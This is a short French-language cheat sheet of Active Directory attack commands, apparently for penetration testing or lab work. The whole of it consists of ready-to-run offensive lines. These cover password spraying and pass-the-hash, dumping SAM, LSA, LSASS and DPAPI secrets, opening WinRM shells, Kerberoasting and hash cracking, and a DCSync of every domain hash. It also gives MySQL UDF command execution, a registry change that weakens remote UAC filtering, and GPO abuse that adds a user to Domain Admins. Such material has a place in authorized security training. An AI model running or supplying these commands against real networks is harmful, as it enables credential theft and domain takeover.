② Aide-mémoire commandes (génériques)

Toutes standard (HackTricks / wiki NetExec). Remplace <…> par tes valeurs.

Tester / spray / Pass-the-Hash

nxc smb <IPs> -u USER -p PASS [-d DOMAINE | --local-auth]     # cherche (Pwn3d!)
nxc smb <IP>  -u users.txt -p pass.txt --continue-on-success  # spray
nxc smb <IP>  -u USER -H NThash --local-auth                  # Pass-the-Hash

Piller une machine (admin)

impacket-secretsdump 'DOM/USER:PASS@IP'      # SAM + LSA
nxc smb <IP> -u U -p P -M lsassy             # LSASS (mdp en memoire)
nxc smb <IP> -u U -p P --dpapi               # identifiants stockes

Shell interactif

evil-winrm -i <IP> -u USER -p PASS           # ou -H NThash

Enumeration AD

nxc smb  <DC> -u U -p P --users --groups
nxc ldap <DC> -u U -p P --asreproast a.txt --kerberoasting k.txt
bloodhound-python -u U -p P -d DOM -ns <DC_IP> -c All --zip
bloodyAD --host <DC> -d DOM -u U -p P get object 'Domain Admins' --attr member

Cassage de hash

hashcat -m 13100 kerb.txt rockyou.txt   # Kerberoast
hashcat -m 18200 asrep.txt rockyou.txt  # AS-REP
hashcat -m 1000  nt.txt rockyou.txt     # hash NT

Domaine possédé

impacket-secretsdump -just-dc 'DOM/DA:PASS@DC'   # DCSync (tous les hash)

Privesc XAMPP (MySQL UDF, service en SYSTEM/Admin)

C:\xampp\mysql\bin\mysql.exe -u root -e "SELECT sys_eval('whoami');"
C:\xampp\mysql\bin\mysql.exe -u root -e "SELECT sys_exec('cmd /c COMMANDE');"

Contournement UAC (admin local bridé à distance)

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

Abus de GPO (WriteDacl/GenericWrite sur GPO liée au DC)

git clone https://github.com/Hackndo/pygpoabuse
python3 pygpoabuse/pygpoabuse.py 'DOM/user:pass' -gpo-id <GUID> \
  -command 'net group "Domain Admins" user /add /domain' -dc-ip <DC>
# Default Domain Policy = 31B2F340-016D-11D2-945F-00C04FB984F9 (toujours identique)